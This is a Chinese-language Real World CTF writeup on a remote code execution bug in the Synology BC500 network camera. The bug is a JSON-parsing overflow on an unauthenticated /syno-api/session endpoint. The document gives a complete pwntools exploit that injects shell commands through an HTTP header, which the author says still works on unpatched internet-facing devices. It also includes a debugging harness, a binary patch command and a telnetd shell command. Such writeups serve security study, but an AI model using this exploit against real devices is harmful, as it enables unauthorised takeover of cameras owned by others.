Binary Security Researcher, IoT/NFV Sec, Static Program Analysis, Fuzzing Test, CTFer
[Realworld CTF] PWN - Let‘s party in the house - 群晖 BC500 摄像头 RCE writeup
设备情况这是一台网络摄像头，题目只开放了管理登录界面，应该是来自于前几个月 Pwn2Own 上的破解。折腾一天混了个三血利用思路未授权接口+JSON 解析溢出，其中 buf1 和 buf2 可以控制虽然可以溢出，但是难以劫持返回地址，因为栈上存在 key 和 json 两个对象在溢出被覆盖后需要传递给其他函数使用，并且最后会被析构，所以绕过和伪造比较困难。第二个难点是 json 通过 \uXXXX 嵌入不可见字符时会被 UTF8 编码导致 payload 破坏，并且默认 flags 下不支持传入 \u0000，很多地址无法使用（这一点需要通过逆向发现具体限制，不展开）。观察发现栈上缓存的 lex_t 结构体在满足一定条件后可以劫持 lex_t->stream_t->get 这一函数指针满足一些栈上变量的限制条件后，将这个指针劫持到SynoPopen函数中 popen 调用点附近的 gadget 上，实现有 8 字节可控的任意命令执行。之所以要找 popen 调用点是因为 CGI 体所在的地址空间刚好可以通过 \uXXXX 传入且不会被破坏。由于请求者自定义的请求头也会被传递给 CGI，所以可以使用$ENV_NAME 的方式可以执行请求头中放置的命令，然后把 flag 写到 /www/index.html 直接读出来地址随机化程度很低，exp 成功概率约为 1/5from pwn import * import os context.log_level = "debug" ip = "47.88.48.133" port = 33803 p = remote(ip, port) #p = remote("127.0.0.1", 8080) def poc(cmd): payload =b"A"*(0xa4-8)+cmd.ljust(8, b";")+b"\u005c\u004d\u0041" + b" " + b"A"*(0x3c-32)+b"BBBB"+b",MA" value = b'""' json_data = b'{"' + payload + b'": ' + value + b'}' _data = json_data buf = b"" buf += b"PUT /syno-api/session HTTP/1.1\r\n" buf += b"Accept: */*\r\n" buf += b"A: cp /flag /www/index.html\r\n" buf += b"Content-Type: application/json\r\n" buf += b"Content-Length: " + str(len(_data)).encode() + b"\r\n" buf += b"\r\n" buf += _data return buf def exp(): p.send(poc(b"$HTTP_A;")) print("Try to read flag...") os.system(f"curl http://{ip}:{port}/index.html") #p.interactive() if __name__ == "__main__": exp()目前该 EXP 可以直接攻击公网中未升级的设备，请勿用于非法用途调试方法如何获取设备终端？虽然模拟固件时可以得到一个 shell，但是由于模拟的问题终端会被报错信息填满，可以使用 telnetd -p 23 -l /bin/sh 开启 telnet 服务，然后在脚本上加一个 hostfw 参数映射 telnet 到主机上进行操作。如何调试 CGI？方法1：提取 CGI 二进制文件，使用 qemu-user 进行模拟，只需要通过环境变量传递 HTTP 请求头和其它请求参数，通过 stdin 传递 POST 内容。缺点是地址空间与真实设备不符，对利用方式有影响，适合快速确定漏洞 PoC 以及进行一些 Fuzz 操作。from pwn import * import json import urllib context.log_level = "debug" payload = b"A"*53 json_data = b'{"' + payload + b'": ""}' content_length = len(json_data) # elf base: 0x40000000 # json lib: 0x3f78c000 p = process(["./rootfs/qemu-arm-static", "-g", "1235", "--singlestep", "-L", "./rootfs/", "./rootfs/www/camera-cgi/synocam_param.cgi"], env={ "GATEWAY_INTERFACE": "CGI/1.1", "CONTENT_TYPE": "application/json", "ACTION_PREPARE": "yes", "LOCAL_URI": "/syno-api/session", "REMOTE_ADDR": "10.0.2.2", "SHLVL": "1", "DOCUMENT_ROOT": "/www", "REMOTE_PORT": "34052", "RESPONSE_TO": "SOCKET", "HTTP_ACCEPT": "*/*", "CONTENT_LENGTH": str(content_length), "SCRIPT_FILENAME": "/www/camera-cgi/synocam_param.cgi", "PATH_TRANSLATED": "/www", "REQUEST_URI": "/syno-api/session", "SERVER_SOFTWARE": "CivetWeb/1.15", "LOCAL_URI_RAW": "/syno-api/session", "PATH": "/sbin:/usr/sbin:/bin:/usr/bin", "SERVER_PROTOCOL": "HTTP/1.1", "HTTP_CONTENT_TYPE": "application/json", "REDIRECT_STATUS": "200", "REQUEST_METHOD": "PUT", "PWD": "/www/camera-cgi", "SERVER_ROOT": "/www", "HTTPS": "off", "SERVER_PORT": "80", "SCRIPT_NAME": "/syno-api/session", "ACTION_QUERY": "yes", "SERVER_NAME": "IPCam", "HTTP_CONTENT_LENGTH": str(content_length) } ) p.send(json_data) p.shutdown('send') p.interactive()方法2：使用 qemu-system 的 -s 参数进行调试，在已知 CGI 地址空间时可以直接给漏洞点下断，等待触发断点，好处是和真实利用时的情况接近，缺点是操作比较麻烦，有时候会出现地址冲突问题。如何获取 CGI 地址空间？为了下断点和知道地址劫持的目标，获取 CGI 运行时地址空间很重要，但是 CGI 只在每次请求时单独被调用，每次运行地址都在变。所以首先得关闭设备 ASLR，然后通过 patch CGI 入口使其进入循环，这时候就可以通过 proc 文件系统读出地址空间如下。patch 方式：printf "\xFE\xFF\xFF\xEA" | dd of=synocam_param.cgi bs=1 seek=$((0x7BF1C)) count=4 conv=notrunc地址空间：00400000-004a7000 r-xp 00000000 00:02 1764 /www/camera-cgi/synocam_param_1.cgi 004b7000-004b8000 r--p 000a7000 00:02 1764 /www/camera-cgi/synocam_param_1.cgi 004b8000-004b9000 rw-p 000a8000 00:02 1764 /www/camera-cgi/synocam_param_1.cgi 004b9000-004da000 rw-p 00000000 00:00 0 [heap] 76824000-76865000 rw-p 00000000 00:00 0 76865000-76991000 r-xp 00000000 00:02 1669 /lib/libc-2.30.so 76991000-769a1000 ---p 0012c000 00:02 1669 /lib/libc-2.30.so 769a1000-769a3000 r--p 0012c000 00:02 1669 /lib/libc-2.30.so 769a3000-769a4000 rw-p 0012e000 00:02 1669 /lib/libc-2.30.so 769a4000-769a7000 rw-p 00000000 00:00 0 769a7000-769c5000 r-xp 00000000 00:02 1607 /lib/libgcc_s.so.1 769c5000-769d4000 ---p 0001e000 00:02 1607 /lib/libgcc_s.so.1 769d4000-769d5000 r--p 0001d000 00:02 1607 /lib/libgcc_s.so.1 769d5000-769d6000 rw-p 0001e000 00:02 1607 /lib/libgcc_s.so.1 769d6000-76a32000 r-xp 00000000 00:02 1728 /lib/libm-2.30.so 76a32000-76a41000 ---p 0005c000 00:02 1728 /lib/libm-2.30.so 76a41000-76a42000 r--p 0005b000 00:02 1728 /lib/libm-2.30.so 76a42000-76a43000 rw-p 0005c000 00:02 1728 /lib/libm-2.30.so 76a43000-76b39000 r-xp 00000000 00:02 848 /usr/lib/libstdc++.so.6.0.25 76b39000-76b48000 ---p 000f6000 00:02 848 /usr/lib/libstdc++.so.6.0.25 76b48000-76b4d000 r--p 000f5000 00:02 848 /usr/lib/libstdc++.so.6.0.25 76b4d000-76b50000 rw-p 000fa000 00:02 848 /usr/lib/libstdc++.so.6.0.25 76b50000-76b51000 rw-p 00000000 00:00 0 76b51000-76b53000 r-xp 00000000 00:02 1621 /lib/libdl-2.30.so 76b53000-76b62000 ---p 00002000 00:02 1621 /lib/libdl-2.30.so 76b62000-76b63000 r--p 00001000 00:02 1621 /lib/libdl-2.30.so 76b63000-76b64000 rw-p 00002000 00:02 1621 /lib/libdl-2.30.so 76b64000-76b84000 r-xp 00000000 00:02 1351 /lib/libz.so.1.2.13 76b84000-76b93000 ---p 00020000 00:02 1351 /lib/libz.so.1.2.13 76b93000-76b94000 r--p 0001f000 00:02 1351 /lib/libz.so.1.2.13 76b94000-76b95000 rw-p 00020000 00:02 1351 /lib/libz.so.1.2.13 76b95000-76c10000 r-xp 00000000 00:02 1725 /lib/libssl.so.1.1 76c10000-76c1f000 ---p 0007b000 00:02 1725 /lib/libssl.so.1.1 76c1f000-76c24000 r--p 0007a000 00:02 1725 /lib/libssl.so.1.1 76c24000-76c28000 rw-p 0007f000 00:02 1725 /lib/libssl.so.1.1 76c28000-76e6f000 r-xp 00000000 00:02 1753 /lib/libcrypto.so.1.1 76e6f000-76e7f000 ---p 00247000 00:02 1753 /lib/libcrypto.so.1.1 76e7f000-76e95000 r--p 00247000 00:02 1753 /lib/libcrypto.so.1.1 76e95000-76e97000 rw-p 0025d000 00:02 1753 /lib/libcrypto.so.1.1 76e97000-76e9a000 rw-p 00000000 00:00 0 76e9a000-76f1a000 r-xp 00000000 00:02 1608 /lib/libcurl.so.4.8.0 76f1a000-76f2a000 ---p 00080000 00:02 1608 /lib/libcurl.so.4.8.0 76f2a000-76f2b000 r--p 00080000 00:02 1608 /lib/libcurl.so.4.8.0 76f2b000-76f2d000 rw-p 00081000 00:02 1608 /lib/libcurl.so.4.8.0 76f2d000-76f2e000 rw-p 00000000 00:00 0 76f2e000-76f45000 r-xp 00000000 00:02 1751 /lib/libpthread-2.30.so 76f45000-76f54000 ---p 00017000 00:02 1751 /lib/libpthread-2.30.so 76f54000-76f55000 r--p 00016000 00:02 1751 /lib/libpthread-2.30.so 76f55000-76f56000 rw-p 00017000 00:02 1751 /lib/libpthread-2.30.so 76f56000-76f58000 rw-p 00000000 00:00 0 76f58000-76f9c000 r-xp 00000000 00:02 1595 /lib/libutil.so 76f9c000-76fab000 ---p 00044000 00:02 1595 /lib/libutil.so 76fab000-76fac000 r--p 00043000 00:02 1595 /lib/libutil.so 76fac000-76fad000 rw-p 00044000 00:02 1595 /lib/libutil.so 76fad000-76fae000 rw-p 00000000 00:00 0 76fae000-76fbd000 r-xp 00000000 00:02 1358 /lib/libjansson.so.4.7.0 76fbd000-76fcc000 ---p 0000f000 00:02 1358 /lib/libjansson.so.4.7.0 76fcc000-76fcd000 r--p 0000e000 00:02 1358 /lib/libjansson.so.4.7.0 76fcd000-76fce000 rw-p 0000f000 00:02 1358 /lib/libjansson.so.4.7.0 76fce000-76fee000 r-xp 00000000 00:02 1612 /lib/ld-2.30.so 76ff5000-76ffb000 rw-p 00000000 00:00 0 76ffb000-76ffc000 r-xp 00000000 00:00 0 [sigpage] 76ffc000-76ffd000 r--p 00000000 00:00 0 [vvar] 76ffd000-76ffe000 r-xp 00000000 00:00 0 [vdso] 76ffe000-76fff000 r--p 00020000 00:02 1612 /lib/ld-2.30.so 76fff000-77000000 rw-p 00021000 00:02 1612 /lib/ld-2.30.so 7efdf000-7f000000 rw-p 00000000 00:00 0 [stack] ffff0000-ffff1000 r-xp 00000000 00:00 0 [vectors]如何获取 CGI 环境变量？webd 调用 CGI 时只看文件名，所以可以将原来的 CGI 可执行文件替换成一个 shell 脚本打印出 webd 传递的环境变量。如何确定未授权入口？提取两类地址—— web 根目录下所有的文件相对路径、前端 JS 中的 API 路径，使用 dirsearch 扫描排除 401 响应的接口（注意需要换不同的请求方法进行尝试）。提取未授权入口是因为漏洞位于 json 解析的库中，而不是 webd 中，需要能够找到能够解析 json 的接口来完成整个攻击链。提取的 URL 如下，其中 /syno-api/session 就是本次攻击的入口：[20:50:34] 200 - 29KB - /uistrings/ptb/strings [20:50:34] 200 - 28KB - /uistrings/nor/strings [20:50:34] 200 - 48KB - /uistrings/rus/strings [20:50:35] 200 - 29KB - /uistrings/sve/strings [20:50:35] 200 - 30KB - /uistrings/nld/strings [20:50:35] 200 - 30KB - /uistrings/krn/strings [20:50:35] 200 - 29KB - /uistrings/ita/strings [20:50:35] 200 - 30KB - /uistrings/spn/strings [20:50:35] 200 - 34KB - /uistrings/jpn/strings [20:50:35] 200 - 30KB - /uistrings/ptg/strings [20:50:35] 200 - 32KB - /uistrings/hun/strings [20:50:35] 200 - 27KB - /uistrings/enu/strings [20:50:35] 200 - 24KB - /uistrings/chs/strings [20:50:35] 200 - 28KB - /uistrings/dan/strings [20:50:35] 200 - 24KB - /uistrings/cht/strings [20:50:35] 200 - 31KB - /uistrings/ger/strings [20:50:35] 200 - 32KB - /uistrings/fre/strings [20:50:35] 200 - 30KB - /uistrings/trk/strings [20:50:35] 200 - 29KB - /uistrings/csy/strings [20:50:36] 200 - 31KB - /uistrings/plk/strings [20:50:36] 200 - 61KB - /uistrings/tha/strings [20:50:36] 200 - 32KB - /uistrings/uistrings.cgi [22:39:23] 200 - 15B - /syno-api/session [22:39:25] 200 - 7B - /syno-api/security/info/language [22:39:25] 200 - 21B - /syno-api/security/info/mac [22:39:25] 200 - 4B - /syno-api/security/info/serial_number [22:39:25] 200 - 105B - /syno-api/security/info [22:39:25] 200 - 6B - /syno-api/activate [22:39:25] 200 - 9B - /syno-api/security/info/name [22:39:25] 200 - 14B - /syno-api/maintenance/firmware/version [22:39:25] 200 - 6B - /syno-api/security/network/dhcp [22:39:25] 200 - 9B - /syno-api/security/info/model